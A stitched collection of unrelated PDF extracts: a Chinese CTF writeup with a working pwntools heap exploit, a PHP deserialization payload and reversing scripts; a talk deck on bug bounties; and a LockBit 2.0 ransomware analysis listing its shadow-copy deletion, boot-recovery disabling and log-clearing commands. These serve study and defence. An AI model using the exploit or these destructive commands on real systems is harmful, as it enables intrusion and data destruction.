-  80 / 20 -  Open API Data Comparison---e.g. Google Safe Browsing API -  Seculert API(expensive!). Page § 38 Page § 39 Contact us at: [email protected] Do You Have Any Questions?
pdf
安洵杯 Writeup 1 安洵杯 Writeup Author:Nu1L Web cssgame 参考https://www.smi1e.top/通过css注⼊窃取html中的数据/ 环境有点不同,不太好⾃动化,写了个脚本⼀键⽣成css⽂件,启了个httpserver,然后⼿动⼀位⼀位的跑就⾏了。 Web cssgame iamthinking easy_serialize_php easy_web Pwn Heap RE Crackme EasyEncryption game Misc 吹着⻉斯扫⼆维码 Attack music Crypto This_is_not_a_standard_AES256 funney-php justaBase 安洵杯 Writeup 2 iamthinking www.zip得到源码,tp6pop链打⼀下就⾏了 easy_serialize_php filter存在过滤,然后逃逸反序列化数据就好了,利⽤数组即可,payload: _SESSION[veneno][1]=phpphpphpphp&_SESSION[veneno] [2]=;i:2;s:66:"111111111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} easy_web img参数base64两次decode,发现是hex编码,然后拿到index.php源码,然后\绕过执⾏命令就好了 Pwn Heap from pwn import * r = lambda: p.recv() rn = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x, drop = True) rl = lambda: p.recvline() s = lambda x: p.send(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y) def alloc(idx,size,cnt): sla(">> ",str(1)) sla("(0-10):",str(idx)) sla("size:\n",str(size)) sa("content: \n",cnt) def free(idx): sla(">> ",str(2)) 安洵杯 Writeup 3 sla("index:\n",str(idx)) def edit(idx,cnt): sla(">> ",str(4)) sla("index:\n",str(idx)) sa("content: ",cnt) def hack(r): sla("name: ","%4$p%11$p") ru("Hello, ") if r: libc.address = int(rn(14)[2:],16)-0x5ed700 else: libc.address = int(rn(14)[2:],16)-0x5ed700 log.info('libc.address:'+hex(libc.address)) proc = int(rn(14)[2:],16)-0x1186 log.info('proc'+hex(proc)) alloc(0,0x88,'/bin/sh\x00\n') alloc(1,0x88,'b\n') alloc(2,0x88,'c\n') alloc(3,0x88,'d\n') alloc(4,0xf8,'e\n') alloc(5,0x88,'f\n') payload = "\x00"*0x10 payload += p64(proc+0x202090-0x18)+p64(proc+0x202090-0x10) payload = payload.ljust(0x80,'\x00') payload += p64(0x80) edit(3,payload+'\n') free(4) edit(3,p64(0x88)+p64(libc.sym['__free_hook'])+p64(0x8)+'\n') edit(2,p64(libc.sym['system'])+'\n') free(0) p.interactive() if __name__ == '__main__': context.binary = './pwn1' context.terminal = ['tmux', 'sp', '-h','-l','115'] context.log_level = 'debug' elf = ELF('./pwn1') if len(sys.argv) > 1: p = remote(sys.argv[1], sys.argv[2]) libc = ELF('./libc-2.23.so') hack(1) else: p = process('./pwn1',env={"LD_PRELOAD":'./libc-2.23.so'}) libc = ELF("./libc-2.23.so") hack(0) RE Crackme SM4算法,密钥为where_are_u_now?,密⽂经过魔改base64编码后进⾏对⽐验证。 求SM4密⽂脚本 b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' table ='yzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvwx' def tb64encode(s): tmp = b64encode(s) ans = '' for i in tmp: ans += table[b64.index(i)] print ans return ans def tb64decode(s): ans = '' for i in s: #print i ans += b64[table.index(i)] print ans 安洵杯 Writeup 4 return base64.b64decode(ans+'==') print tb64decode('U1ATIOpkOyWSvGm/YOYFR4').encode('hex') 然后SM4解密得flag flag:SM4foRExcepioN?! EasyEncryption v3=[0x20,0x1F,0x1E,0x1D,0x1C,0x1B,0x1A,0x19,0x18,0x17,0x16,0x15,0x14,0x13,0x12,0x11, 0x10,0x0F,0x0E,0x0D,0x0C,0x0B,0x0A,0x09,0x08,0x07,0x00,0x01,0x02,0x03,0x04,0x05, 0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F,0x10,0x11,0x12,0x13,0x14,0x15, 0x16,0x17,0x18,0x19,0x31,0x30,0x2F,0x2E,0x2D,0x2C,0x2B,0x2A,0x29,0x28,0x36,0x32] j=0 a2='' for i in 'artqkoehqpkbihv': tmp=ord(i)-97 guess1=tmp+97-v3[j] print chr(guess1) if(97<=guess1 and guess1 <=122): a2+=chr(guess1) j=j+1 continue if(97<=guess1+26 and guess1+26 <=122): a2+=chr(guess1+26) j=j+1 continue if(97<=guess1+226 and guess1+226 <=122): a2+=chr(guess1+2*26) j=j+1 continue if(97<=guess1+326 and guess1+326 <=122): a2+=chr(guess1+3*26) j=j+1 continue print a2 game flag='4693641762894685722843556137219876255986' #print len(flag) flag1=[] for i in range(len(flag)): tmp=ord(flag[i])+20 flag1.append(tmp&0xf3 | (0xffffffff^tmp)&0xc) #for i in flag1: #print chr(i) for i in range(0,len(flag),2): 安洵杯 Writeup 5 tmp=flag1[i] flag1[i]=flag1[i+1] flag1[i+1]=tmp for i in range(len(flag)/2): tmp=flag1[i+20] flag1[i+20]=flag1[i] flag1[i]=tmp flag2='' for i in flag1: flag2+=chr(i) print flag2 'KDEEIFGKIJ@AFGEJAEF@FDKADFGIJFA@FDE@JG@J' Misc 吹着⻉斯扫⼆维码 拼图修复⼆维码,得到base全家桶的提⽰,按照提⽰依次解码即可得到flag Attack 内存镜像中提取出ccx⽂件,⽤CnCrypt挂载,密码就是administrator的密码,爆破哈希即可得到 music 根据提⽰123456的密码使⽤mp3stego解出压缩包密码,diff解出的wav和⽹上下载的原⽂件发现有部分data不同,猜测为 lsb ⽤silenteye解出flag Crypto This_is_not_a_standard_AES256 题⽬给了⼀个⾃⼰实现的AES256代码,s盒和⼀段密⽂,求出逆s盒替换到代码⾥⾯解密即可。 funney-php 逆序 rot13 解base64 减去index得到ascii拼成的字符串,⼿动分割⼀下转成字符串即可 justaBase 题⽬给出了⼀段base64,但其中有⼀些特殊字符,尝试解码前8byte可以正常解开。遍历⼀下编码结果发现所有数字和⼀ 些字⺟没有被⽤到。因此对每个特殊字符,遍历⼀遍所有在正常base64编码表中但在所给编码中未出现的字符进⾏替换进 ⾏解码,观察解码结果找到最恰当的进⾏替换即可。
pdf
Keren Elazari aka @K3r3n3 www.K3r3n3.com A Confession TAKE THE RED PILL? @K3r3n3 @K3r3n3 Source : “25 Years Of Vulnerabilities: 1988-2012 Sourcefire Research Report” Barnaby Jack, 1977-2013 Photo: IOACTIVE RESEARCH What Matters! https://www.iamthecavalry.org/ Don’t Keep Your Bugs To Yourself www.bugcrowd.com/list-of-bug-bounty-programs The Internet Bug Bounty www.hackerone.com/ibb AFFORD NOT TO Botnet Phishing Campaigns Spam Denial of Service Image by Chris Halderman CC BY 3.0 Empower The Masses Image by Scoobay CC BY-NC-SA 2.0 One Million Security Professionals Needed! Source : Cisco 2014 Annual Security Report Image by Scoobay CC BY-NC-SA 2.0 Image by R. Kikuo Johnson for NYT, September 2013 FEAR UNCERTAINTY DOUBT Image: The Economist Fight FUD With FACTS INFLUENCE THE INPUT RIGHT NOW Research What Matters Don’t Keep Your Bugs To Yourself Collaborate & Share Empower The Masses Stop The Spread Of FUD Illustration by François Baranger
pdf
www.LIFARS.com [email protected] ©2022 SecurityScorecard Inc. 244 Fifth Avenue, Suite 2035, New York, NY 10001 1.212.222.7061 Prepared by: Vlad Pasca, LIFARS, LLC Date: 02/14/2022 A Detailed Analysis of The LockBit Ransomware www.LIFARS.com | 1 Table of Contents Executive Summary .............................................................................................................. 2 Analysis and Findings .......................................................................................................... 2 Thread activity – sub_4DF310 function ........................................................................ 10 Thread activity – sub_4C3430 function ....................................................................... 14 Thread activity – sub_4A2EC0 function ....................................................................... 19 Thread activity – sub_45C960 function....................................................................... 28 Thread activity – sub_497060 function ....................................................................... 34 Thread activity – sub_49E730 function ....................................................................... 39 Printing ransom notes ...................................................................................................... 44 LockBit Wallpaper Setup ................................................................................................. 46 Extract and save the HTA ransom note to Desktop .............................................. 52 Indicators of Compromise ............................................................................................... 59 Registry Keys ................................................................................................................................................................................... 59 Files Created .................................................................................................................................................................................... 59 Processes spawned ..................................................................................................................................................................... 59 Mutex ................................................................................................................................................................................................... 60 LockBit 2.0 Extension ................................................................................................................................................................ 60 LockBit 2.0 Ransom Note ....................................................................................................................................................... 60 Appendix ................................................................................................................................. 61 List of processes to be killed ................................................................................................................................................... 61 List of services to be stopped ................................................................................................................................................. 61 www.LIFARS.com | 2 Executive Summary LockBit 2.0 ransomware is one of the most active families in the wild and pretends to implement the fastest encryption algorithms using multithreading with I/O completion ports. The malware doesn’t encrypt systems from CIS countries and can perform UAC bypass on older Windows versions if running with insufficient privileges. A hidden window that logs different actions performed by LockBit is created and might be activated using the Shift+F1 shortcut. The ransomware mounts all hidden volumes and stops a list of targeted processes and services. The malware generates a pair of ECC (Curve25519) session keys, with the private key being encrypted using a hard-coded ECC public key and stored in the registry. The binary deletes all Volume Shadow Copies using vssadmin and clears the Windows security application and system logs. LockBit obtains a list of physical printers used to print multiple ransom notes. The encrypted files have the “.lockbit” extension, and only the first 4KB of the file will be encrypted using the AES algorithm. A unique AES key is generated for each file, encrypted using the session ECC public key, and stored in each encrypted file. Analysis and Findings SHA256: 9feed0c7fa8c1d32390e1c168051267df61f11b048ec62aa5b8e66f60e8083af The malware verifies whether it’s being debugged by checking the NtGlobalFlag field from the PEB (process environment block). If the debugger is detected, the process jumps to an infinite loop: Figure 1 www.LIFARS.com | 3 The encrypted strings are stored as stack strings and will be decrypted using the XOR operator. An example of a decryption algorithm is shown in figure 2, along with the decrypted DLL name: Figure 2 The binary implements the API hashing technique to hide the API functions used. As we can see below, the malware computes a 4-byte hash value and compares it with a hard-coded one (0xA3E6F6C3 in this case): Figure 3 The malicious executable loads multiple DLLs into the address space of the process using the LoadLibraryA API: www.LIFARS.com | 4 Figure 4 The following DLLs have been loaded: "gdiplus.dll", "ws2_32.dll", "shell32.dll", "advapi32.dll", "user32.dll", "ole32.dll", "netapi32.dll", "gpedit.dll", "oleaut32.dll", "shlwapi.dll", "msvcrt.dll", "activeds.dll", "mpr.dll", "bcrypt.dll", "crypt32.dll", "iphlpapi.dll", "wtsapi32.dll", "win32u.dll", "Comdlg32.dll", "cryptbase.dll", "combase.dll", "Winspool.drv". GetSystemDefaultUILanguage is utilized to retrieve the language identifier for the system default UI language of the OS. The return value is compared with multiple identifiers that correspond to CIS countries (LockBit doesn’t encrypt these systems): Figure 5 Figure 6 The following language identifiers have been found: • 0x82c - Azerbaijani (Cyrillic) • 0x42c - Azerbaijani (Latin) • 0x42b – Armenian www.LIFARS.com | 5 • 0x423 – Belarusian • 0x437 – Georgian • 0x43F – Kazakh • 0x440 – Kyrgyz • 0x819 - Russian (Moldova) • 0x419 – Russian • 0x428 – Tajik • 0x442 – Turkmen • 0x843 - Uzbek (Cyrillic) • 0x443 - Uzbek (Latin) • 0x422 – Ukrainian The GetUserDefaultUILanguage routine extracts the language identifier for the user UI language for the current user. The extracted value is compared with the same identifiers from above: Figure 7 The NtQuerySystemInformation function is utilized to retrieve the number of processors in the system (0x0 = SystemBasicInformation): Figure 8 The binary opens a handle to the current process (0x60000 = WRITE_DAC | READ_CONTROL): Figure 9 www.LIFARS.com | 6 The GetSecurityInfo API is utilized to retrieve a pointer to the DACL in the returned security descriptor (0x6 = SE_KERNEL_OBJECT, 0x4 = DACL_SECURITY_INFORMATION): Figure 10 RtlAllocateAndInitializeSid is used to allocate and initialize a SID (security identifier) structure: Figure 11 The file extracts the ACL size information via a function call to RtlQueryInformationAcl (0x2 = AclSizeInformation): Figure 12 The executable allocates memory by calling the ZwAllocateVirtualMemory routine (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x4 = PAGE_READWRITE). It’s also important to mention that LockBit frees memory previously allocated using ZwFreeVirtualMemory: Figure 13 www.LIFARS.com | 7 The RtlCreateAcl function is utilized to create and initialize an access control list (0x4 = ACL_REVISION_DS): Figure 14 The RtlAddAccessDeniedAce routine is used to add an access-denied access control entry (ACE) to the ACL created earlier (0x4 = ACL_REVISION_DS, 0x1 = FILE_READ_DATA): Figure 15 The malicious file obtains a pointer to the first ACE in the ACL via a function call to RtlGetAce: Figure 16 The process adds an ACE to the ACL previously created using RtlAddAce (0x4 = ACL_REVISION_DS): Figure 17 LockBit sets the DACL of the current process to the ACL modified earlier by calling the SetSecurityInfo API (0x6 = SE_KERNEL_OBJECT, 0x4 = DACL_SECURITY_INFORMATION): www.LIFARS.com | 8 Figure 18 The malware modifies the hard error mode in a way that some error types are not displayed to the user (0xC = ProcessDefaultHardErrorMode, 0x7 = SEM_FAILCRITICALERRORS | SEM_NOGPFAULTERRORBOX | SEM_NOALIGNMENTFAULTEXCEPT): Figure 19 The ransomware enables the SeTakeOwnershipPrivilege privilege in the current process token (0x9 = SeTakeOwnershipPrivilege): Figure 20 LockBit decrypts a list of processes and services that will be stopped during the infection (the entire list can be found in the appendix): Figure 21 www.LIFARS.com | 9 Figure 22 The malware calls the ZwOpenProcessToken API in order to open the access token associated with the current process (0x8 = TOKEN_QUERY): Figure 23 GetTokenInformation is utilized to extract the user account of the token (0x1 = TokenUser): Figure 24 The AllocateAndInitializeSid routine is used to allocate and initialize a security identifier (SID) with a single subauthority: Figure 25 The executable compares two security identifier (SID) values using the EqualSid API: www.LIFARS.com | 10 Figure 26 There is a recurrent function call to GlobalMemoryStatusEx that retrieves information about the current usage of both physical and virtual memory: Figure 27 LockBit creates a new thread using the CreateThread API, which will run the sub_4DF310 function: Figure 28 ZwSetInformationThread is used to hide the thread from our debugger however, the x32dbg’s plugin called ScyllaHide can circumvent its effect (0x11 = HideThreadFromDebugger): Figure 29 Thread activity – sub_4DF310 function The shutdown priority for the current process relative to other processes in the system is set to 0, which means that it’s set to be the last process to be shut down: Figure 30 www.LIFARS.com | 11 GetSystemDirectoryW is utilized to retrieve the path of the system directory: Figure 31 The process creates an activation context and activates it using the CreateActCtxW and ActivateActCtx routines: Figure 32 Figure 33 The binary registers and initializes specific common control window classes using the InitCommonControls API: Figure 34 GdiplusStartup is used to initialize Windows GDI+: Figure 35 The malicious file initializes the COM library on the current thread: Figure 36 The GetVersion routine is used to retrieve the operating system version: www.LIFARS.com | 12 Figure 37 CreateStreamOnHGlobal is utilized to create a stream object that uses an HGLOBAL memory handle to store the content: Figure 38 The stream content is modified, and the process uses the GdipCreateBitmapFromStream function to create a Bitmap object based on the stream: Figure 39 The malware loads the standard arrow cursor resource via a function call to LoadCursorW (0x7F00 = IDC_ARROW): Figure 40 GdipAlloc is utilized to allocate memory for a Windows GDI+ object: Figure 41 There is another call to GdipCreateBitmapFromStream followed by a call to GdipDisposeImage, which releases resources used by the Image object: Figure 42 www.LIFARS.com | 13 LockBit registers a window class called “LockBit_2_0_Ransom” using the RegisterClassExW API: Figure 43 CreateWindowExW is used to create a window called "LockBit 2.0 Ransom" that will track the progress of the ransomware, such as the identified drives and different logs: Figure 44 The new window is hidden using the ShowWindow routine (0x0 = SW_HIDE): Figure 45 The UpdateWindow function is utilized to update the client area of the specified window by sending a WM_PAINT message to the window: Figure 46 The process creates a new thread by calling the CreateThread function: Figure 47 www.LIFARS.com | 14 LockBit defines a Shift+F1 hot key for the new window that can be used to unhide it (0x70 = VK_F1, 0x4 = MOD_SHIFT): Figure 48 Figure 49 GetMessageW is used to retrieve a message from the thread’s message queue: Figure 50 The malicious file translates virtual-key messages into character messages via a call to TranslateMessage: Figure 51 DispatchMessageW is utilized to dispatch a message retrieved by the GetMessage function: Figure 52 Thread activity – sub_4C3430 function The process sends the LVM_GETITEMCOUNT message to the newly created window (0x1004 = LVM_GETITEMCOUNT): www.LIFARS.com | 15 Figure 53 The malware calls the InvalidateRect API many times to add multiple rectangles to the window’s update region: Figure 54 We continue with the analysis of the main thread. The CommandLineToArgvW routine obtains an array of pointers to the command line arguments: Figure 55 The file tries to see if the access token is elevated by calling the NtQueryInformationToken API (0x14 = TokenElevation): Figure 56 Depending on the result, the malware proceeds by decrypting the "[+] Process created with admin rights" or "[-] Process created with limited rights" strings. We know that this sample is supposed to perform UAC bypass in the case of low-level privileges however, this method wasn’t employed on our Windows 10 analysis machine (it’s supposed to be used on older Windows versions). The process sends the "[+] Process created with admin rights" message to the hidden window by calling the SendMessageA API: www.LIFARS.com | 16 Figure 57 The binary creates a mutex called "\\BaseNamedObjects\\{3FE573D4-3FE5-DD38-399C- 886767BD8875}" to ensure that only one instance of the malware is running at one time (0x1F0001 = MUTEX_ALL_ACCESS): Figure 58 The NetBIOS name of the local computer is extracted using GetComputerNameW: Figure 59 The malicious executable retrieves the name of the primary domain controller by calling the NetGetDCName function. LockBit has the ability to propagate on the network and kill processes and services via malicious GPOs (group policy objects); however, these features weren’t activated in this sample: Figure 60 The process opens the Run registry key using RegCreateKeyExA (0x80000001 = HKEY_CURRENT_USER, 0x2001F = KEY_READ | KEY_WRITE): www.LIFARS.com | 17 Figure 61 The file is looking for a registry value called "{9FD872D4-E5E5-DDC5-399C-396785BDC975}": Figure 62 The malware establishes persistence by creating the above registry value: Figure 63 Figure 64 CreateThread is used to create a new thread within the address space of the process: Figure 65 www.LIFARS.com | 18 As in the case of every thread creation, the binary tries to hide it from the debugger using the ZwSetInformationThread API. A file called "C:\windows\system32\2ED873.ico" is created via a function call to ZwCreateFile (0x40000000 = GENERIC_WRITE, 0x80 = FILE_ATTRIBUTE_NORMAL, 0x5 = FILE_OVERWRITE_IF): Figure 66 The ICO file is populated using the ZwWriteFile routine: Figure 67 The executable creates the “HKCR\.lockbit” registry key using ZwCreateKey (0x2000000 = MAXIMUM_ALLOWED): Figure 68 www.LIFARS.com | 19 LockBit creates the DefaultIcon subkey and sets its value to the newly created ICO file, as highlighted below: Figure 69 Figure 70 Thread activity – sub_4A2EC0 function The FindFirstVolumeW API is utilized to begin scanning the volumes of the computer: Figure 71 QueryDosDeviceW is used to obtain the current mapping for the above volume: Figure 72 The malware retrieves a list of drive letters for the specified volume via a call to GetVolumePathNamesForVolumeNameW: Figure 73 www.LIFARS.com | 20 The drive type of the volume is extracted using GetDriveTypeW: Figure 74 The malicious process sends a message regarding the identified volume to the LockBit hidden window, as displayed in figure 75. Figure 75 The malicious file continues the volume search via a function call to FindNextVolumeW: Figure 76 The purpose of the malware is to find unmounted volumes and mount them. LockBit tries to open the BOOTMGR file from the volume (0x80000000 = GENERIC_READ, 0x3 = FILE_SHARE_READ | FILE_SHARE_WRITE, 0x3 = OPEN_EXISTING, 0x80 = FILE_ATTRIBUTE_NORMAL): Figure 77 An unmounted volume is mounted by calling the SetVolumeMountPointW routine: www.LIFARS.com | 21 Figure 78 Figure 79 LockBit sends a message regarding the successful mount operation to the hidden window (see figure 80). After the enumeration is complete, the thread exits by calling the RtlExitUserThread function. Figure 80 The binary calls the SHChangeNotify API with the SHCNE_ASSOCCHANGED parameter (0x8000000 = SHCNE_ASSOCCHANGED): Figure 81 A new thread is created by the malware using CreateThread: Figure 82 Intel and AMD CPUs implement a functionality called “AES-NI” (Advanced Encryption Standard New Instructions), which can be used for high-speed AES encryption processing. The binary uses the cpuid instruction in order to retrieve the CPU type of the machine and the vendor of the CPU: www.LIFARS.com | 22 Figure 83 Whether the CPU supports “AES-NI” the process sends the "[+] AES-NI enabled" message to the hidden window using SendMessageA. The malicious process generates 16 random bytes by calling the BCryptGenRandom routine (0x2 = BCRYPT_USE_SYSTEM_PREFERRED_RNG): Figure 84 The ransom note is also stored in an encrypted form as a stack string that will be decrypted using a custom algorithm: Figure 85 www.LIFARS.com | 23 Figure 86 The process creates a registry key called "HKCU\SOFTWARE\2ED873D4E5389C" (0x80000001 = HKEY_CURRENT_USER , 0xF003F = KEY_ALL_ACCESS): Figure 87 LockBit is looking for two registry values called “Private” and “Public” under the registry key above, which don’t exist at this time: Figure 88 Figure 89 The malware sends the "[+] Generate session keys" message to the hidden window. It will compute a public ECC (Curve25519) key and a private ECC (Curve25519) key. The file generates 32 random bytes via a function call to BcryptGenRandom: www.LIFARS.com | 24 Figure 90 The malicious process implements a Curve25519 wrapper in the sub_4300C0 function. Based on the above buffer, it generates a session ECC public key: Figure 91 The above operation of generating random bytes is repeated one more time: Figure 92 www.LIFARS.com | 25 The same Curve25519 wrapper is used again to transform the above buffer: Figure 93 The executable embedded an ECC public key that we call Master ECC public key (highlighted in figure 94). Based on the implementation of the Curve25519 algorithm, it is used to generate a shared secret (32-byte value): Figure 94 The Master ECC public key is utilized to encrypt the session ECC private key computed above: Figure 95 We have utilized the capa tool in order to confirm that the above function is used to encrypt data using Curve25519: Figure 96 www.LIFARS.com | 26 LockBit stores the encrypted session ECC private key in the “HKCU\Software\2ED873D4E5389C\Private” registry value: Figure 97 LockBit stores the session ECC public key in the “HKCU\Software\2ED873D4E5389C\Public” registry value: Figure 98 Figure 99 reveals both registry values with their content: Figure 99 The malware uses I/O completion ports to improve the encryption speed. It creates an I/O completion object by calling the NtCreateIoCompletion API (0x1F0003 = IO_COMPLETION_ALL_ACCESS): Figure 100 The binary creates 2 (# of processors/cores) that will handle the files encryption: www.LIFARS.com | 27 Figure 101 The thread affinity mask is set to 1 via a function call to ZwSetInformationThread (0x4 = ThreadAffinityMask): Figure 102 GetLogicalDrives is used to retrieve the available disk drives: Figure 103 The malicious binary determines the disk drive type using the GetDriveTypeW routine: Figure 104 The process is looking for type 2 (DRIVE_REMOVABLE), type 3 (DRIVE_FIXED) and type 6 (DRIVE_RAMDISK) drives: www.LIFARS.com | 28 Figure 105 For each targeted drive, the malware creates a new thread that will traverse it and locate all files selected for encryption: Figure 106 Thread activity – sub_45C960 function The file compares the drive name with the tsclient (Terminal Server Client) share: Figure 107 The CreateFileW function is utilized to create a file called “2ED873D4.lock” (0xC0000000 = GENERIC_READ | GENERIC_WRITE, 0x1 = CREATE_NEW, 0x04000100 = FILE_FLAG_DELETE_ON_CLOSE | FILE_ATTRIBUTE_TEMPORARY): www.LIFARS.com | 29 Figure 108 SHEmptyRecycleBinW is used to empty the Recycle Bin on the drive (0x7 = SHERB_NOCONFIRMATION | SHERB_NOPROGRESSUI | SHERB_NOSOUND): Figure 109 The executable retrieves information about the total amount of space and the total amount of free space on the drive by calling the GetDiskFreeSpaceW and GetDiskFreeSpaceExW APIs: Figure 110 Figure 111 The user interface language for the current thread is set to “English - United States”: Figure 112 The numeric values extracted above are converted into a string that represents the size values in bytes, kilobytes, megabytes, or gigabytes, depending on their size: www.LIFARS.com | 30 Figure 113 The drive name and the information regarding its size are sent to the hidden window via SendMessageW. The FindFirstFileExW API is utilized to enumerate the drive: Figure 114 The following directories will be skipped: • system volume information • windows photo viewer • windows powershell • internet explorer • windows security • windows defender • microsoft shared • application data • windows journal • $recycle.bin • $windows~bt • windows.old The files enumeration is continued via a function call to FindNextFileW: www.LIFARS.com | 31 Figure 115 File extensions are extracted using the PathFindExtensionW routine: Figure 116 The binary is looking for a “.lockbit” file that would suggest the targeted file has already been encrypted: Figure 117 ZwCreateFile is utilized to open the targeted file (0x10003 = FILE_READ_DATA | FILE_WRITE_DATA | DELETE, 0x80 = FILE_ATTRIBUTE_NORMAL, 0x1 = FILE_OPEN, 0x48 = FILE_NON_DIRECTORY_FILE | FILE_NO_INTERMEDIATE_BUFFERING): Figure 118 The targeted file is bound to the I/O completion port created earlier via a function call to NtSetInformationFile (0x1E = FileCompletionInformation): www.LIFARS.com | 32 Figure 119 The NtQueryInformationFile routine is used to query file information (0x5 = FileStandardInformation): Figure 120 NtSetInformationFile is utilized to set end-of-file information for the file (0x14 = FileEndOfFileInformation): Figure 121 The following extensions list has been found: • ".rar" ".zip" ".ckp" ".db3" ".dbf" ".dbc" ".dbs" ".dbt" ".dbv" ".frm" ".mdf" • ".mrg" ".mwb" ".myd" ".ndf" ".qry" ".sdb" ".sdf" ".sql" ".tmd" ".wdb" ".bz2" • ".tgz" ".lzo" ".db" ".7z" ".sqlite" ".accdb" ".sqlite3" ".sqlitedb" ".db-shm" • ".db-wal" ".dacpac" ".zipx" ".lzma" LockBit only encrypts the first 4KB of the file. It uses the ZwReadFile API in order to read 0x1000 (4096) bytes: www.LIFARS.com | 33 Figure 122 The GetFileAttributesW function is used to get file system attributes for the ransom note called “Restore-My-Files.txt”: Figure 123 The ransomware creates the ransom note via a call to ZwCreateFile (0x10003 = FILE_READ_DATA | FILE_WRITE_DATA | DELETE, 0x80 = FILE_ATTRIBUTE_NORMAL, 0x2 = FILE_CREATE, 0x40 = FILE_NON_DIRECTORY_FILE): Figure 124 The ransom note is bound to the I/O completion port previously created via a function call to NtSetInformationFile (0x1E = FileCompletionInformation): Figure 125 www.LIFARS.com | 34 The note is populated using the ZwWriteFile routine: Figure 126 The “.lock” file created earlier is deleted after the drive enumeration is complete: Figure 127 The content of the ransom note is displayed below: Figure 128 The main thread sends the "Scan done, waiting handles…" message to the hidden window. Thread activity – sub_497060 function The malware retrieves the locally unique identifier (LUID) for the SeDebugPrivilege privilege using the LookupPrivilegeValueA routine: Figure 129 The privileges of the access token are adjusted to include the SeDebugPrivilege privilege via a function call to ZwAdjustPrivilegesToken: www.LIFARS.com | 35 Figure 130 OpenSCManagerA is used to establish a connection to the service control manager and to open the service control manager database (0xF003F = SC_MANAGER_ALL_ACCESS): Figure 131 A targeted service is opened using the OpenServiceA API (0x2c = SC_MANAGER_MODIFY_BOOT_CONFIG | SC_MANAGER_LOCK | SC_MANAGER_ENUMERATE_SERVICE): Figure 132 QueryServiceStatusEx is used to extract the current status of the service: Figure 133 The EnumDependentServicesA routine is utilized to retrieve the name and status of each service that depends on the targeted service (see figure 134). These services will be stopped as well (0x1 = SERVICE_ACTIVE): Figure 134 www.LIFARS.com | 36 Every chosen service is stopped by calling the ControlService function (0x1 = SERVICE_CONTROL_STOP): Figure 135 A confirmation message that the service was successfully stopped is sent to the hidden window: Figure 136 The ransomware takes a snapshot of all processes in the system (0x2 = TH32CS_SNAPPROCESS): Figure 137 The malicious file retrieves information about the first process from the snapshot via a function call to Process32First: Figure 138 Interestingly, the malware removes the extension of the process name (if present) before the comparison with the targeted list: Figure 139 An example of such a comparison is shown in figure 140. www.LIFARS.com | 37 Figure 140 The process enumeration continues by calling the Process32Next routine: Figure 141 OpenProcess is used to open a targeted process (0x1FFFFF = PROCESS_ALL_ACCESS): Figure 142 A process is killed by calling the NtTerminateProcess API: Figure 143 LockBit initializes the COM library for apartment threading using the CoInitializeEx function (0x6 = COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE): Figure 144 The ransomware deletes all volume shadow copies on the system by calling the ShellExecuteEx function and running the commands shown below: Figure 145 www.LIFARS.com | 38 Figure 146 The malware also creates multiple processes twice in order to delete (again) all shadow copies and Windows logs. An example of process creation is shown in figure 147 (0x08000000 = CREATE_NO_WINDOW): Figure 147 The following processes have been spawned: • cmd.exe /c vssadmin Delete Shadows /All /Quiet – delete all shadow copies • cmd.exe /c bcdedit /set {default} recoveryenabled No – disable automatic repair • cmd.exe c bcdedit set {default} bootstatuspolicy ignoreallfailures – ignore errors in the case of a failed boot / shutdown / checkpoint • cmd.exe /c wmic SHADOWCOPY /nointeractive – invalid syntax • cmd.exe /c wevtutil cl security – clear security log • cmd.exe /c wevtutil cl system – clear system log • cmd.exe /c wevtutil cl application – clear application log The ransomware forwards the "Volume Shadow Copy & Event log clean" message to the hidden window: Figure 148 www.LIFARS.com | 39 Thread activity – sub_49E730 function The NtRemoveIoCompletion function is utilized to wait for at least a file to be available for encryption: Figure 149 The following file extensions will be skipped: • .386 .cmd .ani .adv .msi .msp .com .nls .ocx .mpa .cpl .mod .hta • .prf .rtp .rdp .bin .hlp .shs .drv .wpx .bat .rom .msc .spl .msu • .ics .key .exe .dll .lnk .ico .hlp .sys .drv .cur .idx .ini .reg • .mp3 .mp4 .apk .ttf .otf .fon .fnt .dmp .tmp .pif .wav .wma .dmg • .iso .app .ipa .xex .wad .msu .icns .lock .lockbit .theme .diagcfg • .diagcab .diagpkg .msstyles .gadget .woff .part .sfcache .winmd The files that can be found in the following directories will not be encrypted: • "$windows.~bt" "intel" "$recycle.bin" "to.msstyles" "boot" "msbuild" "system volume information" • "google" "application data" "windows" "windows.old" "appdata" "mozilla" "microsoft shared" "internet explorer" • "opera" "windows journal" "windows defender" "windowspowershell" "windows security" "windows photo viewer" The following specific files will also be skipped: • "iconcache.db" "ntuser.dat.log" "restore-my-files.txt" "autorun.inf" "bootsect.bak" "thumbs.db" LockBit uses multiple aeskeygenassist operations in order to assist in AES round key generation, as we can see below: www.LIFARS.com | 40 Figure 150 Figure 151 The file content is encrypted using the AES128 algorithm. Basically, the malware uses aesenc instructions to perform one round of an AES encryption flow: Figure 152 www.LIFARS.com | 41 Figure 153 Figure 154 As we mentioned before, only the first 4KB of the file is encrypted. The encrypted content is written to the file using ZwWriteFile: Figure 155 The BcryptGenRandom routine is utilized to generate 32 random bytes: Figure 156 www.LIFARS.com | 42 The buffer generated above is transformed using the Curve25519 wrapper and then copied to a new buffer together with the session ECC public key (see figure 157). Based on the implementation of the Curve25519 algorithm, it is used to generate a shared secret (32-byte value). Figure 157 The AES128 key and IV (initialization vector) are encrypted using Curve25519 with the session ECC public key, as highlighted below: Figure 158 Each encrypted file has a 512-byte footer that will be explained in detail. It’s written to the encrypted file by calling the ZwWriteFile API: Figure 159 NtSetInformationFile is used to append the “.lockbit” extension to encrypted files (0xA = FileRenameInformation): Figure 160 As we can see below, the files are partially encrypted, which is enough to make them useless without decrypting them: www.LIFARS.com | 43 Figure 161 Out of the 512 bytes from the footer, we can highlight the following bytes: • last 8 bytes - first 8 bytes from the session ECC public key • previous 8 bytes - hard-coded bytes that correspond to this particular LockBit sample • 112 bytes - session ECC private key that was encrypted using the Master ECC public key (also stored in the Private registry value) • 96 bytes – AES key + IV that were encrypted using the session ECC public 